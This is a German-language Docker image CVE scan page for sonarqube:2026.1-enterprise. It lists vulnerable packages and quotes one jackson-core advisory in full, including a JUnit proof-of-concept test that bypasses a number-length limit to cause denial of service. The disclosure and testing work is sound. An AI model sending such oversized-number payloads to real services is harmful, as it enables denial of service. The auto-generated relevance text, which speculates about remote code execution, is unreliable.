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CVE-Scan für sonarqube:2026.1-enterprise

Docker-Image-Sicherheitslücken-Scanner

37 Bekannte Sicherheitslücken in diesem Docker-Image

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Info/ Unbestimmt/ Unbekannt
CVE-IDSchweregradPaketBetroffene VersionBehobene VersionCVSS-Score
GHSA-72hv-8253-57qqhighjackson-core>=2.0.0,<=2.18.52.18.68.7

Summary

The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).

The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.

Details

The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.

  • The number parsing methods (e.g., _finishNumberIntegralPart) accumulate digits into the TextBuffer without any length checks.
  • After parsing, they call _valueComplete(), which finalizes the token but does not call resetInt() or resetFloat().
  • The resetInt()/resetFloat() methods in ParserBase are where the validateIntegerLength() and validateFPLength() checks are performed.
  • Because this validation step is skipped, the maxNumberLength constraint is never enforced in the async code path.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
        
        // Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Impact

A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:

  1. Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError.
  2. CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.

Suggested Remediation

The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.

NOTE: This research was performed in collaboration with rohan-repos

Relevance:

The CVE GHSA-72hv-8253-57qq could be relevant if the Docker Image `library/sonarqube:2026.1-enterprise` uses a vulnerable dependency or component affected by this security flaw. It might be critical in scenarios where the vulnerability allows remote code execution or unauthorized access, particularly if SonarQube is exposed to untrusted networks. Always verify if the specific version is impacted and apply patches if necessary. (Note: Relevance analysis is automatically generated and may require verification.)

Package URL(s):
  • pkg:maven/com.fasterxml.jackson.core/jackson-core@2.15.0
  • pkg:maven/com.fasterxml.jackson.core/jackson-core@2.17.2
  • pkg:maven/com.fasterxml.jackson.core/jackson-core@2.17.3
  • pkg:maven/com.fasterxml.jackson.core/jackson-core@2.19.2
  • pkg:maven/com.fasterxml.jackson.core/jackson-core@2.20.1
  • pkg:maven/tools.jackson.core/jackson-core@3.0.2
CVE-2025-55163highnetty-codec-http2>=4.2.0.Alpha1,<=4.2.3.Final4.2.4.Final8.2
CVE-2025-58057mediumnetty-codec-compression>=4.2.0.Alpha1,<4.2.5.Final4.2.5.Final6.9
CVE-2016-2781lowcoreutils>=0not fixed6.5
CVE-2025-68384mediumx-pack-security<8.19.98.19.96.5
CVE-2025-67735mediumnetty-codec-http>=4.2.0.Alpha1,<4.2.8.Final4.2.8.Final6.5
CVE-2025-48924mediumcommons-lang3>=3.0,<3.18.03.18.06.5
CVE-2025-68161mediumlog4j-core>=2.0-beta9,<2.25.32.25.36.3
CVE-2021-31879mediumwget>=0not fixed6.1
CVE-2025-11226mediumlogback-core>=1.4.0,<1.5.191.5.195.9

Schweregradstufen

Ausnutzung könnte zu schwerwiegenden Konsequenzen wie Systemkompromittierung oder Datenverlust führen. Erfordert sofortige Aufmerksamkeit.

Sicherheitslücke könnte relativ leicht ausgenutzt werden und erhebliche Auswirkungen haben. Erfordert zeitnahe Aufmerksamkeit.

Ausnutzung ist möglich, erfordert aber möglicherweise spezifische Bedingungen. Auswirkungen sind moderat. Sollte zeitnah behoben werden.

Ausnutzung ist schwierig oder die Auswirkungen sind minimal. Kann bei Gelegenheit oder im Rahmen der regulären Wartung behoben werden.

Schweregrad ist nicht bestimmt, informativ oder vernachlässigbar. Überprüfung je nach Kontext.

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Über den CVE-Scanner

Der CVE-Scanner ist ein leistungsstarkes Tool, das dir hilft, bekannte Sicherheitslücken in deinen Docker-Images zu identifizieren. Indem deine Images mit einer umfassenden Datenbank von Common Vulnerabilities and Exposures (CVEs) abgeglichen werden, kannst du sicherstellen, dass deine Anwendungen sicher und auf dem neuesten Stand sind. Für weitere Details, schau dir die NIST CVE-Datenbank an.

Warum CVE-Scanning für deine Docker-Images wichtig ist

Mit dem Anstieg von Supply-Chain-Angriffen ist die Sicherung deiner Anwendungen wichtiger denn je. CVE-Scanning spielt eine entscheidende Rolle bei der Identifizierung von Sicherheitslücken, die von Angreifern ausgenutzt werden könnten, insbesondere solche, die durch Abhängigkeiten und Drittanbieter-Komponenten eingeführt werden. Regelmäßiges Scannen und Sichern deiner Docker-Images ist essenziell, um deine Anwendungen vor diesen sich entwickelnden Bedrohungen zu schützen.

Was ist eine CVE?

CVE steht für Common Vulnerabilities and Exposures. Es ist ein standardisierter Bezeichner für bekannte Sicherheitslücken, der Entwicklern und Organisationen ermöglicht, potenzielle Risiken effektiv zu verfolgen und zu beheben. Für weitere Informationen, besuche cve.mitre.org.

Vorteile des CVE-Scannens

  • Erhöhte Sicherheit: Erkenne und behebe Sicherheitslücken, bevor sie ausgenutzt werden.
  • Compliance: Erfülle Branchenstandards und regulatorische Anforderungen für sichere Software.
  • Proaktive Wartung: Bleibe potenziellen Bedrohungen einen Schritt voraus, indem du Sicherheitslücken frühzeitig behebst.

Wie der CVE-Scanner funktioniert

Der CVE-Scanner analysiert deine Docker-Images anhand einer umfassenden Datenbank bekannter Sicherheitslücken. Er nutzt Docker Scout im Hintergrund, um detaillierte Einblicke in betroffene Pakete, Schweregradstufen und verfügbare Fixes zu liefern, sodass du sofort handeln kannst.

Die Bedeutung des Patchens von Docker-Images

Das Patchen deiner Docker-Images ist ein entscheidender Schritt, um die Sicherheit und Stabilität deiner Anwendungen zu gewährleisten. Durch regelmäßige Updates deiner Images mit den neuesten Sicherheitspatches kannst du bekannte Sicherheitslücken beheben und das Risiko einer Ausnutzung reduzieren. Dieser proaktive Ansatz stellt sicher, dass deine Anwendungen widerstandsfähig gegenüber neuen Bedrohungen bleiben und hilft, die Einhaltung von Sicherheitsstandards zu gewährleisten.

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